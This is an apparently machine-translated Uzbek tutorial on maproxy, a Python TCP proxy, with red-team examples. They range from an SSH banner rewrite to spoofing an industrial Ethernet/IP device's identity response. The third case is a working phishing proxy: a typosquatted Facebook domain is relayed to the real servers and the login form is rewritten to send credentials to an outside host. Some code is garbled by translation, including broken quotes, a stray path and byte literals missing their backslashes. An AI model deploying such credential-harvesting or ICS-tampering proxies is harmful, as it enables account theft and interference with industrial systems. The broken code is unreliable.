Maqolaning tarjimasi kurs boshlanishi arafasida tayyorlangan
Xulosa
Muntazam kirish testi va Red Team operatsiyalaridan tortib IoT/ICS qurilmalari va SCADA-ni buzishgacha bo'lgan turli xil xavfsizlikni baholash turlari ikkilik tarmoq protokollari bilan ishlashni, ya'ni mijoz va maqsad o'rtasidagi tarmoq ma'lumotlarini to'xtatib turish va o'zgartirishni o'z ichiga oladi. Tarmoq trafigini hidlash qiyin ish emas, chunki bizda Wireshark, Tcpdump yoki Scapy kabi vositalar mavjud, ammo modifikatsiya qilish ko'proq mehnat talab qiladigan vazifaga o'xshaydi, chunki tarmoq ma'lumotlarini o'qish, filtrlash va o'zgartirish uchun bizga qandaydir interfeys kerak bo'ladi. uni tezda va deyarli real vaqtda maqsadli xostga yuboring. Bundan tashqari, bunday vosita avtomatik ravishda bir nechta parallel ulanishlar bilan ishlashi va skriptlar yordamida sozlanishi mumkin bo'lsa, ideal bo'ladi.
Bir kuni men bir vositani topdim
, hujjatlar menga buni tezda aniqlab berdi maproxy
- Menga kerak bo'lgan narsa. Bu juda oddiy, ko'p qirrali va osongina sozlanadigan TCP proksi-serveri. Men ushbu vositani bir nechta juda murakkab ilovalarda, shu jumladan ICS qurilmalarida (ko'p paketlarni ishlab chiqaradigan) sinovdan o'tkazdim, u ko'plab parallel ulanishlarni bajara oladimi va asbob yaxshi ishlaydi.
Ushbu maqola sizni tarmoq ma'lumotlarini tezda qayta ishlash bilan tanishtiradi maproxy
.
haqida umumiy ma'lumot
asbob maproxy
Pythonda mashhur va yetuk asinxron tarmoq tizimi Tornadoga asoslangan.
Umuman olganda, u bir nechta rejimlarda ishlashi mumkin:
TCP:TCP
– shifrlanmagan TCP ulanishlari;TCP:SSL
иSSL:TCP
- bir tomonlama shifrlash bilan;SSL:SSL
- ikki tomonlama shifrlash.
U kutubxona sifatida keladi. Tez boshlash uchun siz asosiyni aks ettiruvchi misol fayllardan foydalanishingiz mumkin
all.py
certificate.pem
logging_proxy.py
privatekey.pem
ssl2ssl.py
ssl2tcp.py
tcp2ssl.py
tcp2tcp.py
1-holat – oddiy ikki tomonlama proksi-server
Shunga asosan tcp2tcp.py
:
#!/usr/bin/env python
import tornado.ioloop
import maproxy.proxyserver
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()
sukut ProxyServer()
ikkita argumentni oladi - ulanish joyi va maqsadli port. server.listen()
bitta argumentni oladi - kiruvchi ulanishni tinglash uchun port.
Skriptni bajarish:
# python tcp2tcp.py
Sinovni o'tkazish uchun biz proksi-skriptimiz orqali mahalliy SSH serveriga ulanamiz. 2222/tcp
port va standart portga ulanadi 22/tcp
SSH serverlari:
Xush kelibsiz banner sizga bizning misol skriptimiz tarmoq trafigini proksi-serverdan muvaffaqiyatli o'tkazganligi haqida xabar beradi.
2-holat - ma'lumotlarni o'zgartirish
Boshqa demo skript logging_proxy.py
tarmoq ma'lumotlari bilan ishlash uchun ideal. Fayldagi sharhlar maqsadingizga erishish uchun o'zgartirishingiz mumkin bo'lgan sinf usullarini tavsiflaydi:
Eng qiziq narsa bu erda:
on_c2p_done_read
- mijozdan servergacha bo'lgan yo'lda ma'lumotlarni ushlab turish;on_p2s_done_read
- teskari.
Keling, server mijozga qaytaradigan SSH bannerini o'zgartirishga harakat qilaylik:
[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]
Skriptni bajaring:
Ko'rib turganingizdek, mijoz adashtirilgan, chunki uning uchun SSH server nomi o'zgartirilgan «DumnySSH»
.
3-holat – oddiy fishing veb-sahifasi
Ushbu vositadan foydalanishning cheksiz usullari mavjud. Bu safar keling, Red Team operatsiyalari tomonida ko'proq amaliy narsaga e'tibor qarataylik. Keling, ochilish sahifasiga taqlid qilaylik m.facebook.com
va ataylab xato bilan maxsus domendan foydalaning, masalan, m.facebok.com
. Namoyish maqsadida, domen biz tomonimizdan ro'yxatdan o'tgan deb faraz qilaylik.
Biz qurbonlar proksi va SSL Stream bilan Facebook serveriga shifrlanmagan tarmoq ulanishini o'rnatmoqchimiz (31.13.81.36
). Ushbu misol ishlashi uchun biz HTTP xost sarlavhasini almashtirishimiz va to'g'ri xost nomini kiritishimiz kerak, shuningdek, tarkibga osongina kirishimiz uchun javobni siqishni o'chirib qo'yamiz. Oxir-oqibat biz HTML formasini almashtiramiz, shunda login hisob ma'lumotlari Facebook serverlari o'rniga bizga yuboriladi:
[…]
def on_c2p_done_read(self,data):
# replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
def on_p2s_done_read(self,data):
# partial replacement of response
data = data.replace("action="/uz/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]
Natijada:
Ko'rib turganingizdek, biz asl saytni muvaffaqiyatli almashtira oldik.
4-holat – Ethernet/IP-ni portlash
Men ancha vaqtdan beri sanoat qurilmalari va dasturiy ta'minot (ICS/SCADA) bilan shug'ullanaman, masalan, dasturlashtiriladigan kontrollerlar (PLC), kiritish-chiqarish modullari, drayvlar, o'rni, narvon dasturlash muhitlari va boshqalar. Bu ish sanoat narsalarni yaxshi ko'radiganlar uchun. Bunday echimlarni buzish tarmoq protokollari bilan faol o'ynashni o'z ichiga oladi. Quyidagi misolda men ICS/SCADA tarmoq trafigini qanday o'zgartirishingiz mumkinligini ko'rsatmoqchiman.
Buning uchun sizga quyidagilar kerak bo'ladi:
- Tarmoq sniffer, masalan, Wireshark;
- Ethernet/IP yoki shunchaki SIP qurilmasi, uni Shodan xizmatidan foydalanib topishingiz mumkin;
- Bizning skriptimiz bunga asoslanadi
maproxy
.
Birinchidan, CIP (Common Industrial Protocol) ning odatiy identifikatsiya javobi qanday ko'rinishini ko'rib chiqaylik:
Qurilmani identifikatsiyalash Ethernet/IP protokoli yordamida amalga oshiriladi, bu CIP kabi nazorat protokollarini o'rab olgan sanoat chekilgan protokolining takomillashtirilgan versiyasidir. Biz skrinshotda ko'rinadigan ajratilgan ID nomini o'zgartirmoqchimiz Ethernet uchun "NI-IndComm" proksi-skriptimiz yordamida. Biz skriptni qayta ishlatishimiz mumkin logging_proxy.py
va shunga o'xshash sinf usulini o'zgartiring on_p2s_done_read
, chunki biz mijozda boshqa identifikator nomi ko'rinishini xohlaymiz.
Kod:
[…]
def on_p2s_done_read(self,data):
# partial replacement of response
# Checking if we got List Identity message response
if data[26:28] == b'x0cx00':
print('Got response, replacing')
data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]
Aslini olganda, biz ikki marta qurilma identifikatsiyasini so'radik, ikkinchi javob asl javob edi va birinchi javob tezda o'zgartirildi.
Va oxirgi
Mening fikrimcha maproxy
Pythonda ham yozilgan qulay va oddiy vosita, shuning uchun siz ham undan foydalanishdan foyda olishingiz mumkinligiga ishonaman. Albatta, tarmoq ma'lumotlarini qayta ishlash va o'zgartirish uchun yanada murakkab vositalar mavjud, lekin ular ham ko'proq e'tibor talab qiladi va odatda ma'lum bir foydalanish holati uchun yaratiladi, masalan. maproxy
siz tarmoq ma'lumotlarini ushlab qolish bo'yicha g'oyalaringizni tezda amalga oshirishingiz mumkin, chunki misol skriptlari juda aniq.
Manba: www.habr.com